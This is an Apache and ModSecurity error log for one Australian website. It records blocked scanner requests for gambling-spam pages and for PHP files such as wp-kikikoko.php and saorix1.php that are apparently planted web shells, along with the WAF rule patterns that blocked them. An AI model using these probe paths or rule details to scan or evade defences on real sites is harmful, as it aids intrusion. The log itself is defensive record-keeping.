[Mon Apr 20 14:54:30.965942 2026] [:error] [pid 42014:tid 42037] [client 89.251.0.75:47091] [client 89.251.0.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aeXNpsek-00-ZI0f1NoX3QAAARU"]
[Mon Apr 20 14:55:12.253699 2026] [autoindex:error] [pid 11441:tid 11444] [client 89.251.0.40:65271] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 18:57:04.613385 2026] [:error] [pid 11350:tid 11376] [client 51.83.6.238:40588] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aeYGgP4EoMBgOJuJnT1uyQAAABE"]
[Mon Apr 20 18:57:06.979403 2026] [:error] [pid 11441:tid 11445] [client 51.83.6.238:54936] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aeYGgsixByFUvmh319CAAQAAAMI"]
[Mon Apr 20 18:57:09.600674 2026] [:error] [pid 11350:tid 11377] [client 51.83.6.238:54950] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aeYGhf4EoMBgOJuJnT1u0gAAABI"]
[Mon Apr 20 18:57:12.293389 2026] [:error] [pid 11350:tid 11373] [client 51.83.6.238:58626] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aeYGiP4EoMBgOJuJnT1u6AAAAA4"]
[Mon Apr 20 18:57:15.032520 2026] [:error] [pid 11351:tid 11409] [client 51.83.6.238:58632] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aeYGiwN8Z1-vktaI_tPOHAAAAFY"]
[Mon Apr 20 18:57:17.756180 2026] [:error] [pid 11494:tid 11516] [client 51.83.6.238:58638] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aeYGjcgko5iFiE8YoyTAigAAAZQ"]
[Mon Apr 20 18:57:20.449337 2026] [:error] [pid 11351:tid 11394] [client 51.83.6.238:39890] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aeYGkAN8Z1-vktaI_tPOKgAAAEc"]
[Mon Apr 20 18:57:23.243079 2026] [:error] [pid 11351:tid 11400] [client 51.83.6.238:39896] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aeYGkwN8Z1-vktaI_tPOLQAAAE0"]
[Mon Apr 20 18:57:25.835035 2026] [:error] [pid 11350:tid 11375] [client 51.83.6.238:39906] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aeYGlf4EoMBgOJuJnT1vNQAAABA"]
[Mon Apr 20 18:57:28.258580 2026] [:error] [pid 11351:tid 11399] [client 51.83.6.238:39912] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aeYGmAN8Z1-vktaI_tPOPgAAAEw"]
[Mon Apr 20 18:57:30.737207 2026] [:error] [pid 11350:tid 11369] [client 51.83.6.238:43144] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aeYGmv4EoMBgOJuJnT1vTAAAAAo"]
[Mon Apr 20 18:57:33.025491 2026] [:error] [pid 11441:tid 11458] [client 51.83.6.238:43160] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aeYGncixByFUvmh319CAFgAAAM8"]
[Mon Apr 20 18:57:35.356937 2026] [:error] [pid 11350:tid 11383] [client 51.83.6.238:43168] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aeYGn_4EoMBgOJuJnT1vVwAAABg"]
[Mon Apr 20 18:57:37.793368 2026] [:error] [pid 11494:tid 11519] [client 51.83.6.238:43174] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aeYGocgko5iFiE8YoyTAowAAAZc"]
[Mon Apr 20 18:57:40.204430 2026] [:error] [pid 11351:tid 11405] [client 51.83.6.238:46954] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "aeYGpAN8Z1-vktaI_tPOUgAAAFI"]
[Mon Apr 20 18:57:42.603185 2026] [:error] [pid 11494:tid 11509] [client 51.83.6.238:46958] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aeYGpsgko5iFiE8YoyTApQAAAY0"]
[Mon Apr 20 18:57:45.007952 2026] [:error] [pid 11350:tid 11367] [client 51.83.6.238:46974] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aeYGqf4EoMBgOJuJnT1vagAAAAg"]
[Mon Apr 20 18:57:47.547287 2026] [:error] [pid 42014:tid 42037] [client 51.83.6.238:46990] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aeYGq8ek-00-ZI0f1NpthQAAARU"]
[Mon Apr 20 18:57:49.954718 2026] [:error] [pid 11494:tid 11502] [client 51.83.6.238:45030] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "aeYGrcgko5iFiE8YoyTAqAAAAYY"]
[Mon Apr 20 18:57:52.367747 2026] [:error] [pid 6928:tid 6936] [client 51.83.6.238:45042] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aeYGsB3y7MHq1iB0qYqYmQAAAUY"]
[Mon Apr 20 18:57:54.870558 2026] [:error] [pid 11350:tid 11374] [client 51.83.6.238:45054] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aeYGsv4EoMBgOJuJnT1vgQAAAA8"]
[Mon Apr 20 18:57:57.259584 2026] [:error] [pid 6928:tid 6948] [client 51.83.6.238:45062] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aeYGtR3y7MHq1iB0qYqYnwAAAVI"]
[Mon Apr 20 18:57:59.511535 2026] [:error] [pid 11351:tid 11404] [client 51.83.6.238:45074] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aeYGtwN8Z1-vktaI_tPOYQAAAFE"]
[Mon Apr 20 18:58:20.113480 2026] [:error] [pid 11494:tid 11497] [client 51.83.6.238:52166] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aeYGzMgko5iFiE8YoyTA1AAAAYE"]
[Mon Apr 20 18:58:22.450343 2026] [:error] [pid 11494:tid 11511] [client 51.83.6.238:59196] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aeYGzsgko5iFiE8YoyTA2AAAAY8"]
[Mon Apr 20 18:58:24.972566 2026] [:error] [pid 11352:tid 11415] [client 51.83.6.238:59210] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aeYG0Gl10mhMSfJ7ir_G6gAAAIE"]
[Mon Apr 20 19:07:16.731516 2026] [:error] [pid 6928:tid 6935] [client 43.135.134.127:55804] [client 43.135.134.127] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aeYI5B3y7MHq1iB0qYqawQAAAUU"]
[Mon Apr 20 19:47:16.711013 2026] [:error] [pid 11494:tid 11510] [client 20.251.55.245:15375] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "aeYSRMgko5iFiE8YoyTO8QAAAY4"]
[Mon Apr 20 19:47:17.420882 2026] [:error] [pid 11494:tid 11509] [client 20.251.55.245:15483] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "aeYSRcgko5iFiE8YoyTO8gAAAY0"]
[Mon Apr 20 19:47:17.953929 2026] [:error] [pid 11350:tid 11375] [client 20.251.55.245:15433] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "aeYSRf4EoMBgOJuJnT2QMgAAABA"]
[Mon Apr 20 19:47:18.672825 2026] [:error] [pid 11350:tid 11359] [client 20.251.55.245:15451] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "aeYSRv4EoMBgOJuJnT2QOAAAAAA"]
[Mon Apr 20 19:47:19.621879 2026] [:error] [pid 11494:tid 11500] [client 20.251.55.245:15376] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "aeYSR8gko5iFiE8YoyTO-AAAAYQ"]
[Mon Apr 20 19:47:21.425987 2026] [:error] [pid 11351:tid 11404] [client 20.251.55.245:15456] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "aeYSSQN8Z1-vktaI_tPmFwAAAFE"]
[Mon Apr 20 19:47:22.931992 2026] [:error] [pid 42014:tid 42036] [client 20.251.55.245:15453] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "aeYSSsek-00-ZI0f1Np2bgAAARQ"]
[Mon Apr 20 19:47:24.839461 2026] [:error] [pid 11494:tid 11512] [client 20.251.55.245:15364] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "aeYSTMgko5iFiE8YoyTPAwAAAZA"]
[Mon Apr 20 19:47:26.209930 2026] [:error] [pid 11494:tid 11516] [client 20.251.55.245:15447] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aeYSTsgko5iFiE8YoyTPDAAAAZQ"]
[Mon Apr 20 19:47:28.086682 2026] [:error] [pid 42014:tid 42018] [client 20.251.55.245:15465] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aeYSUMek-00-ZI0f1Np2cwAAAQI"]
[Mon Apr 20 19:47:29.906190 2026] [:error] [pid 6928:tid 6949] [client 20.251.55.245:15455] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aeYSUR3y7MHq1iB0qYqhkQAAAVM"]
[Mon Apr 20 19:47:31.264970 2026] [:error] [pid 11351:tid 11409] [client 20.251.55.245:15443] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aeYSUwN8Z1-vktaI_tPmJwAAAFY"]
[Mon Apr 20 19:47:31.955914 2026] [:error] [pid 11352:tid 11424] [client 20.251.55.245:15363] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aeYSU2l10mhMSfJ7ir_MrQAAAIo"]
[Mon Apr 20 19:47:32.947071 2026] [:error] [pid 11350:tid 11383] [client 20.251.55.245:15361] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aeYSVP4EoMBgOJuJnT2QZwAAABg"]
[Mon Apr 20 19:47:33.811165 2026] [:error] [pid 11351:tid 11389] [client 20.251.55.245:15362] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aeYSVQN8Z1-vktaI_tPmNwAAAEI"]
[Mon Apr 20 19:47:34.689008 2026] [:error] [pid 11494:tid 11517] [client 20.251.55.245:15360] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aeYSVsgko5iFiE8YoyTPGgAAAZU"]
[Mon Apr 20 19:47:35.518767 2026] [:error] [pid 11350:tid 11378] [client 20.251.55.245:15367] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file-kikikoko.php"] [unique_id "aeYSV_4EoMBgOJuJnT2QcgAAABM"]
[Mon Apr 20 19:47:36.334621 2026] [:error] [pid 11351:tid 11399] [client 20.251.55.245:15458] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file-kikikoko.php"] [unique_id "aeYSWAN8Z1-vktaI_tPmQAAAAEw"]
[Mon Apr 20 19:47:36.992754 2026] [:error] [pid 11352:tid 11428] [client 20.251.55.245:15435] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file-kikikoko.php"] [unique_id "aeYSWGl10mhMSfJ7ir_MsQAAAI4"]
[Mon Apr 20 19:47:37.525092 2026] [:error] [pid 11350:tid 11376] [client 20.251.55.245:15477] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file-kikikoko.php"] [unique_id "aeYSWf4EoMBgOJuJnT2QgAAAABE"]
[Mon Apr 20 19:47:38.423024 2026] [:error] [pid 42014:tid 42021] [client 20.251.55.245:15480] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aeYSWsek-00-ZI0f1Np2egAAAQU"]
[Mon Apr 20 19:47:39.138734 2026] [:error] [pid 42014:tid 42038] [client 20.251.55.245:15454] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aeYSW8ek-00-ZI0f1Np2fQAAARY"]
[Mon Apr 20 19:47:39.871514 2026] [:error] [pid 42014:tid 42035] [client 20.251.55.245:15470] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aeYSW8ek-00-ZI0f1Np2fwAAARM"]
[Mon Apr 20 19:47:40.467195 2026] [:error] [pid 11350:tid 11361] [client 20.251.55.245:15446] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aeYSXP4EoMBgOJuJnT2QkQAAAAI"]
[Mon Apr 20 19:47:41.105447 2026] [:error] [pid 11494:tid 11514] [client 20.251.55.245:15463] [client 20.251.55.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ganja.php"] [unique_id "aeYSXcgko5iFiE8YoyTPIQAAAZI"]
